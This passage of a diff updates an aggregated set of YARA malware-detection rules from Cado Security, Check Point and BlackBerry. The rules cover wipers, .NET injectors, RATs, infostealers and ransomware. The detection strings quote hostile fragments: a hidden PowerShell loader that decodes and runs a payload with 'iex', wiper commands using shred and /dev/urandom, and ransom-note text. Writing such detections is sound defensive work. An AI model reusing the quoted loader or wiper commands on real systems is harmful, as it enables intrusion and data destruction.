38 32 39 66 39 61 66 38 37 65 64 65 65 64 66 36 30 65 } - $e = { 6D 5F 65 31 34 33 33 31 36 38 32 30 62 31 34 64 30 33 38 38 61 37 32 37 34 34 33 38 65 63 30 37 38 64 } - $f = { 6D 5F 66 33 31 30 39 30 63 37 31 35 64 65 34 62 30 62 61 62 64 33 31 61 36 33 34 31 31 30 34 36 63 38 } - $g = { 6D 5F 36 31 31 64 31 61 62 63 33 32 66 63 34 66 64 38 61 33 34 65 30 34 34 66 39 37 33 34 34 31 64 61 } - $h = { 6D 5F 37 37 34 62 39 32 31 30 64 39 38 31 34 32 65 62 62 34 34 31 33 35 35 39 64 61 61 65 35 61 34 34 } + $a = "Start-work" ascii + $b = "$GpoGuid" ascii + $c = "$SourceFile" ascii + $d = "$DestinationFile" ascii + $e = "$appName" ascii + $f = "LDAP://ROOTDSE" ascii + $g = "GPT.INI" ascii + $h = "Get-WmiObject" ascii condition: - uint16( 0 ) == 0x5A4D and all of them + 5 of them } -rule CADOSECURITY_Lambda_Malware : FILE +rule CADOSECURITY_Linux_Wiper_AWFULSHRED { meta: - description = "Detects AWS Lambda Malware" - author = "cdoman@cadosecurity.com" - id = "cd867d39-7ff8-599a-bd65-e0f5581ac3f6" - date = "2022-04-03" + description = "Detects AWFULSHRED wiper used against Ukrainian ICS" + author = "mmuir@cadosecurity.com" + id = "0328f0d9-3c73-5d13-bf32-8a25139cf3cf" + date = "2022-04-12" modified = "2022-07-06" - reference = "https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Lambda_Malware.yar#L1-L17" + reference = "https://github.com/cado-security/DFIR_Resources_Industroyer2" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Cado Security/Linux_Wiper_AWFULSHRED.yar#L1-L26" license_url = "N/A" - logic_hash = "46567ceeb39a3b3379fc5ee876e1539b24e8192af8fe31b5df16fb2b3105f176" + hash = "bcdf0bd8142a4828c61e775686c9892d89893ed0f5093bdc70bde3e48d04ab99" + logic_hash = "796dfdc4238e3d729180657b7bc79464003434c73568b49895cb8d37ce1a5499" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "Apache License 2.0" - hash1 = "739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed" - hash2 = "a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbbca" strings: - $a = "github.com/likexian/doh-go/provider/" - $b = "Mozilla/5.0 (compatible; Ezooms/1.0; help@moz.com)" - $c = "username:password pair for mining server" + $isBash = "/bin/bash" ascii + $a1 = "declare -r" ascii + $a2 = "bash_history" ascii + $a3 = "bs=1k if=/dev/urandom of=" ascii + $a4 = "systemd" ascii + $a5 = "apache http ssh" ascii + $a6 = "shred" ascii + $var1 = "iwljzfkg" ascii + $var2 = "yrkdrrue" ascii + $var3 = "agzerlyf" ascii + $var4 = "rggygzny" ascii + $var5 = "zubzgnvp" ascii condition: - filesize < 30000KB and all of them + $isBash and 3 of ( $a* ) and 4 of ( $var* ) } /* * YARA Rule Set * Repository Name: Check Point * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 4 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -169983,7 +169930,60 @@ rule CHECK_POINT_Apt_Nazar_Component_Guids $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } condition: - any of them + any of them +} +rule CHECK_POINT_Injector_ZZ_Dotrunpex_Oldnew : FILE +{ + meta: + description = "Detects new and old version of dotRunpeX - configurable .NET injector" + author = "Jiri Vinopal (jiriv)" + id = "43e2d520-bfe4-5530-a5b4-508cfba9d06e" + date = "2022-10-30" + modified = "2023-04-10" + reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar#L1-L45" + license_url = "N/A" + logic_hash = "c6ae0b4fb6cae16ae8d71e238f7753e0eadd23820507616fa2331375f4403052" + score = 75 + quality = 85 + tags = "FILE" + hash1_New = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232" + hash2_New = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636" + hash3_New = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80" + hash4_New = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504" + hash5_New = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591" + hash6_New = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db" + hash7_New = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452" + hash8_New = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5" + hash1_Old = "1e7614f757d40a2f5e2f4bd5597d04878768a9c01aa5f9f23d6c87660f7f0fbc" + hash2_Old = "317e6817bba0f54e1547dd9acf24ee17a4cda1b97328cc69dc1ec16e11c258fc" + hash3_Old = "65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b" + hash4_Old = "68ae2ee5ed7e793c1a49cbf1b0dd7f5a3de9cb783b51b0953880994a79037326" + hash5_Old = "81763d8e3b42d07d76b0a74eda4e759981971635d62072c8da91251fc849b91e" + + strings: + $implmap1 = "VirtualAllocEx" + $implmap2 = "CreateProcess" + $implmap3 = "CreateRemoteThread" + $implmap4 = "Wow64SetThreadContext" + $implmap5 = "Wow64GetThreadContext" + $implmap6 = "RtlInitUnicodeString" + $implmap7 = "NtLoadDriver" + $implmap8 = "LoadLibrary" + $implmap9 = "VirtualProtect" + $implmap10 = "AdjustTokenPrivileges" + $implmap11 = "GetProcAddress" + $modulerefKernel1 = "Kernel32" + $modulerefKernel2 = "kernel32" + $modulerefNtdll1 = "Ntdll" + $modulerefNtdll2 = "ntdll" + $regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide + $rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide + $koiVM1 = "KoiVM" + $koiVM2 = "#Koi" + + condition: + uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and ( $regPath or $rsrcName or 1 of ( $koiVM* ) ) and 9 of ( $implmap* ) and 1 of ( $modulerefKernel* ) and 1 of ( $modulerefNtdll* ) } rule CHECK_POINT_Injector_ZZ_Dotrunpex : FILE { @@ -170050,64 +170050,11 @@ rule CHECK_POINT_Injector_ZZ_Dotrunpex : FILE condition: uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and ( $regPath or $rsrcName or 1 of ( $koiVM* ) ) and 24 of ( $implmap* ) and 1 of ( $modulerefKernel* ) and 1 of ( $modulerefNtdll* ) and 1 of ( $modulerefAdvapi* ) } -rule CHECK_POINT_Injector_ZZ_Dotrunpex_Oldnew : FILE -{ - meta: - description = "Detects new and old version of dotRunpeX - configurable .NET injector" - author = "Jiri Vinopal (jiriv)" - id = "43e2d520-bfe4-5530-a5b4-508cfba9d06e" - date = "2022-10-30" - modified = "2023-04-10" - reference = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar#L1-L45" - license_url = "N/A" - logic_hash = "c6ae0b4fb6cae16ae8d71e238f7753e0eadd23820507616fa2331375f4403052" - score = 75 - quality = 85 - tags = "FILE" - hash1_New = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232" - hash2_New = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636" - hash3_New = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80" - hash4_New = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504" - hash5_New = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591" - hash6_New = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db" - hash7_New = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452" - hash8_New = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5" - hash1_Old = "1e7614f757d40a2f5e2f4bd5597d04878768a9c01aa5f9f23d6c87660f7f0fbc" - hash2_Old = "317e6817bba0f54e1547dd9acf24ee17a4cda1b97328cc69dc1ec16e11c258fc" - hash3_Old = "65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b" - hash4_Old = "68ae2ee5ed7e793c1a49cbf1b0dd7f5a3de9cb783b51b0953880994a79037326" - hash5_Old = "81763d8e3b42d07d76b0a74eda4e759981971635d62072c8da91251fc849b91e" - - strings: - $implmap1 = "VirtualAllocEx" - $implmap2 = "CreateProcess" - $implmap3 = "CreateRemoteThread" - $implmap4 = "Wow64SetThreadContext" - $implmap5 = "Wow64GetThreadContext" - $implmap6 = "RtlInitUnicodeString" - $implmap7 = "NtLoadDriver" - $implmap8 = "LoadLibrary" - $implmap9 = "VirtualProtect" - $implmap10 = "AdjustTokenPrivileges" - $implmap11 = "GetProcAddress" - $modulerefKernel1 = "Kernel32" - $modulerefKernel2 = "kernel32" - $modulerefNtdll1 = "Ntdll" - $modulerefNtdll2 = "ntdll" - $regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide - $rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide - $koiVM1 = "KoiVM" - $koiVM2 = "#Koi" - - condition: - uint16( 0 ) == 0x5a4d and uint16( uint32( 0x3c ) ) == 0x4550 and ( $regPath or $rsrcName or 1 of ( $koiVM* ) ) and 9 of ( $implmap* ) and 1 of ( $modulerefKernel* ) and 1 of ( $modulerefNtdll* ) -} /* * YARA Rule Set * Repository Name: BlackBerry * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9 * Number of Rules: 22 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance) @@ -170117,30 +170064,97 @@ rule CHECK_POINT_Injector_ZZ_Dotrunpex_Oldnew : FILE * * NO LICENSE SET */ -rule BLACKBERRY_Mal_Backdoor_Chachi_RAT : FILE +rule BLACKBERRY_Boratrat : FILE { meta: - description = "ChaChi RAT used in PYSA Ransomware Campaigns" - author = "BlackBerry Threat Research & Intelligence" - id = "f0d531d3-585a-5194-ac30-fc62433d0ffc" - date = "2022-07-07" + description = "Detects BoratRAT.exe" + author = "BlackBerry Threat Research Team" + id = "d3c73c3b-885a-5fc2-a1bd-a05cadf1512f" + date = "2022-04-13" modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Backdoor_ChaChi_RAT.yar#L1-L25" + reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRAT.yar#L1-L41" license_url = "N/A" - logic_hash = "b49f22ceb57a21716c05dcf264cc239596f3a076525d7416961ae1f38bcf25bd" + logic_hash = "3141300495288a96b48cfea491683042d172143295135ff82c058200c8d5108d" score = 75 - quality = 77 + quality = 85 tags = "FILE" + license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $go = { 47 6F 20 62 75 69 6C 64 20 49 44 3A } - $dnsStream = { 64 6E 73 53 74 72 65 61 6D } - $socks5 = { 53 4F 43 4B 53 35 } - $chisel = { 63 68 69 73 65 6C } + $s1 = "enigma1" + $s2 = "enigma2" + $s3 = "Server.Forms.FormFileManager.resources" + $s4 = "Server.Forms.FormFileSearcher.resources" + $s5 = "Server.Forms.FormKeylogger.resources" + $s6 = "Server.Forms.FormNetstat.resources" + $s7 = "Server.Forms.FormFun.resources" + $s8 = "Server.Forms.FormWebcam.resources" + $s9 = "BoratRat" + $s10 = "Keylogger.exe" condition: - uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them + uint16( 0 ) == 0x5a4d and all of them +} + +rule BLACKBERRY_Mal_Infostealer_Win32_Jupyter_Download_And_Execute_Module +{ + meta: + description = "Detects Jupter download and execute module. Research has shown it downloading SolarDelphi / JupyterStealer." + author = "BlackBerry Threat Research Team" + id = "318b0327-b4b0-57a6-8a24-51320b1026ec" + date = "2021-11-09" + modified = "2022-07-06" + reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_Win32_Jupyter_Download_and_Execute_Module.yar#L4-L30" + license_url = "N/A" + logic_hash = "7491eeb06e88512711688a1baf6967e6b6bf80ad4937c16fd49059903cac35df" + score = 75 + quality = 85 + tags = "" + license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" + + strings: + $e1 = { 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 } + $e2 = { 47 00 45 00 54 00 00 3D 63 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00 32 00 5C 00 77 00 69 00 6E 00 76 00 65 00 72 00 2E 00 65 00 78 00 65 } + $e3 = { 00 2F 00 67 00 65 00 74 00 2F 00 } + $e4 = "FromBase64String" + $e5 = "get_UTF8" + $e6 = "WebResponse" + $e7 = "GetResponse" + $e8 = "Invoke" + + condition: + pe.imports( "mscoree.dll" , "_CorDllMain" ) and dotnet.version == "v4.0.30319" and dotnet.assembly.version.major == 0 and dotnet.assembly.version.minor == 0 and all of ( $e* ) +} +rule BLACKBERRY_Eternityclipper : FILE +{ + meta: + description = "Detects Eternity Clipper" + author = "BlackBerry Threat Research Team" + id = "18aedf62-2062-5f3a-a4b2-6c647efcf85b" + date = "2022-05-22" + modified = "2022-07-07" + reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityClipper.yar#L4-L30" + license_url = "N/A" + logic_hash = "bb766a8bcb0f31babdc12ceac9bb56b8b6a25119ec713fe30b99ed975f4b7a39" + score = 75 + quality = 85 + tags = "FILE" + license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" + + strings: + $s1 = "CopyFromScreen" + $s2 = "CaptureDesktop" + $s3 = "Win32Clipboard" + $s4 = "Clipboard Manager" + $s5 = "Eternity.exe" wide + $s6 = "AddClipboardFormatListener" + $s7 = "AesCryptoServiceProvider" + + condition: + ( uint16( 0 ) == 0x5a4d and all of ( $s* ) ) } rule BLACKBERRY_Mal_Infostealer_MSI_EXE_Jupyter_Certificate : FILE { @@ -170224,107 +170238,131 @@ rule BLACKBERRY_Mal_Infostealer_Win32_Jupyter_Main_Module condition: 10 of ( $g* ) and 1 of ( $h* ) and ( pe.imports ( "mscoree.dll" , "_CorDllMain" ) or $i ) } -rule BLACKBERRY_Headertip : FILE +rule BLACKBERRY_Boratratinformation : FILE { meta: - description = "Detects HeaderTip" + description = "Detects BoratRAT Information Module" author = "BlackBerry Threat Research Team" - id = "8569fed8-0fa8-515a-8ca2-ca4c2a959bbe" - date = "2022-04-06" - modified = "2022-07-06" - reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-headertip-backdoor-shows-attackers-from-china-preying-on-ukraine" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/HeaderTip.yar#L1-L18" + id = "2bd2ec00-3aa5-5f41-9e5b-713398a35b4a" + date = "2022-04-13" + modified = "2022-07-07" + reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRATInformation.yar#L1-L45" license_url = "N/A" - logic_hash = "426c6ebd4ebf85cc4b13d47dc77ae2648fba2b0ccdb7eeaea6b96f19a46c2d4e" + logic_hash = "17545a0834e339039361802a6d675303a975b9de013620068f1a516e49e3138f" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "type %temp%\\officecleaner.dat >> %objfile%" - $s2 = "product2020.mrbasic.com" wide + $s1 = "set_UseShellExecute" + $s2 = "execCMD" + $s3 = "hostname" wide + $s4 = "ipconfig" wide + $s5 = "tasklist" wide + $s6 = "arp -a" wide + $sp = {43 3A 5C 55 73 65 72 73 5C 41 64 6D 69 6E 69 + + 73 74 72 61 74 6F 72 5C 44 6F 77 6E 6C 6F 61 + + 64 73 5C 53 61 6E 74 61 52 61 74 2D 6D 61 69 + + 6E 5C 42 69 6E 61 72 69 65 73 5C 52 65 6C 65 + + 61 73 65 5C 50 6C 75 67 69 6E 73 5C 49 6E 66 + + 6F 72 6D 61 74 69 6F 6E 2E 70 64 62} condition: - filesize < 750KB and all of them + uint16( 0 ) == 0x5a4d and all of them } - -rule BLACKBERRY_Eternityworm : FILE +rule BLACKBERRY_Mal_Infostealer_Powershell_Jupyter_Updated_Samples { meta: - description = "Detects Eternity Worm" + description = "Detects Jupter powershell via common strings" author = "BlackBerry Threat Research Team" - id = "46860918-2c6e-528e-807c-ef6cf6c4f89b" - date = "2022-05-22" - modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/06/threat-spotlight-eternity-project-maas-goes-on-and-on" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/EternityWorm.yar#L4-L31" + id = "429b1197-3280-544e-a287-050263028246" + date = "2021-11-04" + modified = "2022-07-06" + reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_PowerShell_Jupyter_Updated_Samples.yar#L1-L18" license_url = "N/A" - logic_hash = "6d944eddc1cc5acbeab1a8c85f16380b22467a069f91e7e8dd0b682d98e71976" + logic_hash = "5a8e449316d41c2fa28c7137b18ec4c8ac72bb4a0923fae4da7dd89e844421cb" score = 75 - quality = 85 - tags = "FILE" + quality = 58 + tags = "" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "Eternity 2022" wide - $s2 = "Eternity" wide - $s3 = "Anal Worm" wide - $s4 = "Made in Heaven" wide - $s5 = "Van Darkholme" wide - $s6 = "EternityWorm.exe" wide + $c1 = /\.[T|t][O|o][L|l][O|o][W|w][E|e][R|r]\(\)\)?;[I|i][E|e][X|x]/ + $c2 = "get-random -minimum 50000 -maximum 200000" nocase + $c3 = "ReaDALlBYTES" nocase + $c4 = /createshortcut\(\$env\:appdata\+'\\m\'\+\'icr\'\+\'oso\'\+\'ft\'\+\'\\w\'\+\'ind\'\+\'ow\'\+\'s\\\'\+\'st\'\+\'art\'\+\' me\'\+\'nu\'\+\'\\pr\'\+\'ogr\'\+\'ams\\\'\+\'st\'\+\'art\'\+\'up\'\+\'\\.{29}\.lnk\'\)/ nocase condition: - ( uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and all of ( $s* ) ) + all of ( $c* ) } -rule BLACKBERRY_Snake : FILE +rule BLACKBERRY_Windealer_Library : FILE { meta: - description = "Detects Snake" + description = "Detects WinDealer Loaded DLL" author = "BlackBerry Threat Research Team" - id = "a8169a4e-4acd-5e54-915f-af1ff7f4cb1a" - date = "2022-06-03" + id = "d7fbf21b-9144-532a-ad5d-29543f0ffc33" + date = "2022-06-14" modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Snake.yar#L1-L19" + reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malwareZ" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Windealer_Library.yar#L1-L26" license_url = "N/A" - logic_hash = "70ba9a649f9926fd204d45eafd42ce639811552c132b743367d2ba8ebaf3ee63" + logic_hash = "35151a8c0486ceaddb5020cb81f644bba4b01d5f8e4726786abc65ae92ca9c3e" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "Game1Screen_Form_Load" - $s2 = "get_KeyCode" - $s3 = "Good luck mate" + $s1 = "C:\\Users\\Public\\Documents\\Tencent\\QQ\\UserDataInfo.ini" + $s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" + $s3 = "SOFTWARE\\SogouInput\\red" + $s4 = "SOFTWARE\\SogouDesktopBar" + $s5 = "MozillaDll.dll" + $s6 = "Tencent Files" + $s7 = "wangwang" + $s8 = "WeChat Files" + $s9 = "MyDocument" + $s10 = "Skype" + $e1 = "AutoGetSystemInfo" + $e2 = "GetConfigInfo" + $e3 = "partInitOpt" condition: - filesize < 1000KB and all of them + uint16( 0 ) == 0x5a4d and all of them } -rule BLACKBERRY_Mal_Infostealer_MSI_Jupyter_Embedded_Powershell : FILE + +rule BLACKBERRY_Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022 : FILE { meta: - description = "Detects Jupter by a specific PowerShell command present in the MSI Installer" - author = "BlackBerry Threat Research Team" - id = "feee2c1d-b6c5-5a79-a409-c2add83dc68f" - date = "2021-10-14" - modified = "2022-07-06" - reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_MSI_Jupyter_Embedded_PowerShell.yar#L1-L20" + description = "Detects Onyx Ransomware build off of Chaos Builder v4" + author = "BlackBerry Threat Research" + id = "8c30c316-9fd3-5ad9-aea1-d93229cd9ca1" + date = "2022-05-10" + modified = "2022-07-07" + reference = "https://blogs.blackberry.com/en/2022/05/yashma-ransomware-tracing-the-chaos-family-tree" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Win32_Onyx_Strain_Chaos_Ransomware_2022.yar#L3-L28" license_url = "N/A" - logic_hash = "7528342e5aea1c35b59a458695c0e363c6d6c6e1c2df38614ff185c74085ac89" + logic_hash = "2df2f36167710a4de4ff3fda8036472b1972b4175a0d14f8b06e0ad045eb5038" score = 75 - quality = 60 + quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $msi = { D0 CF 11 E0 A1 B1 1A E1 } - $x1 = /powershell-ep bypass -windowstyle hidden -command \"\$xp=\'\[AppDataFolder\]pd\w*\.(log|txt)\';\$xk=\'[a-zA-Z]{52}\';\$xb=\[\\\[\]System\.Convert\[\\\]\]::FromBase64String\(\[\\\[\]System\.IO\.File\[\\\]\]::ReadAllText\(\$xp\)\);remove-item \$xp;for\(\$i=0;\$i -lt \$xb.count;\)\[\\\{\]for\(\$j=0;\$j -lt \$xk\.length;\$j\+\+\)\[\\\{\]\$xb\[\\\[\]\$i\[\\\]\]=\$xb\[\\\[\]\$i\[\\\]\] -bxor \$xk\[\\\[\]\$j\[\\\]\];\$i\+\+;if\(\$i -ge \$xb.count\)\[\\\{\]\$j=\$xk\.length;\[\\\}\]\[\\\}\]\[\\\}\];\$xb=\[\\\[\]System.Text.Encoding\[\\\]\]::UTF8\.GetString\(\$xb\);iex \$xb;/ nocase + $s1 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" wide + $s2 = "All of your files are currently encrypted by ONYX strain." wide + $s3 = "Inform your supervisors and stay calm!" wide condition: - $msi at 0 and all of ( $x* ) + uint16( 0 ) == 0x5a4d and pe.data_directories [ pe.IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR ] . size != 0 and all of ( $s* ) } rule BLACKBERRY_Eternitystealer : FILE @@ -170397,184 +170435,82 @@ rule BLACKBERRY_Mal_Infostealer_Win32_Blackguard : FILE condition: uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and pe.number_of_sections == 3 and pe.section_index ( ".text" ) == 0 and pe.section_index ( ".rsrc" ) == 1 and pe.section_index ( ".reloc" ) == 2 and ( ( all of ( $a* ) ) or ( ( 12 of ( $a* ) and all of ( $b* ) ) ) ) } -rule BLACKBERRY_Boratrat : FILE +rule BLACKBERRY_Snake : FILE { meta: - description = "Detects BoratRAT.exe" + description = "Detects Snake" author = "BlackBerry Threat Research Team" - id = "d3c73c3b-885a-5fc2-a1bd-a05cadf1512f" - date = "2022-04-13" + id = "a8169a4e-4acd-5e54-915f-af1ff7f4cb1a" + date = "2022-06-03" modified = "2022-07-07" - reference = "https://blogs.blackberry.com/en/2022/04/threat-thursday-boratrat" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/BoratRAT.yar#L1-L41" + reference = "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Snake.yar#L1-L19" license_url = "N/A" - logic_hash = "3141300495288a96b48cfea491683042d172143295135ff82c058200c8d5108d" + logic_hash = "70ba9a649f9926fd204d45eafd42ce639811552c132b743367d2ba8ebaf3ee63" score = 75 quality = 85 tags = "FILE" license = "This Yara rule is provided under the Apache License 2.0 (https://www.apache.org/licenses/LICENSE-2.0) and open to any user or organization, as long as you use it under this license and ensure originator credit in any derivative to The BlackBerry Research & Intelligence Team" strings: - $s1 = "enigma1" - $s2 = "enigma2" - $s3 = "Server.Forms.FormFileManager.resources" - $s4 = "Server.Forms.FormFileSearcher.resources" - $s5 = "Server.Forms.FormKeylogger.resources" - $s6 = "Server.Forms.FormNetstat.resources" - $s7 = "Server.Forms.FormFun.resources" - $s8 = "Server.Forms.FormWebcam.resources" - $s9 = "BoratRat" - $s10 = "Keylogger.exe" + $s1 = "Game1Screen_Form_Load" + $s2 = "get_KeyCode" + $s3 = "Good luck mate" condition: - uint16( 0 ) == 0x5a4d and all of them + filesize < 1000KB and all of them } -rule BLACKBERRY_Mal_Infostealer_Powershell_Jupyter_Updated_Samples +rule BLACKBERRY_Mal_Infostealer_MSI_Jupyter_Embedded_Powershell : FILE { meta: - description = "Detects Jupter powershell via common strings" + description = "Detects Jupter by a specific PowerShell command present in the MSI Installer" author = "BlackBerry Threat Research Team" - id = "429b1197-3280-544e-a287-050263028246" - date = "2021-11-04" + id = "feee2c1d-b6c5-5a79-a409-c2add83dc68f" + date = "2021-10-14" modified = "2022-07-06" reference = "https://blogs.blackberry.com/en/2022/01/threat-thursday-jupyter-infostealer-is-a-master-of-disguise" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Blackberry/Mal_Infostealer_PowerShell_Jupyter_Updated_Samples.yar#L1-L18" + source_url = 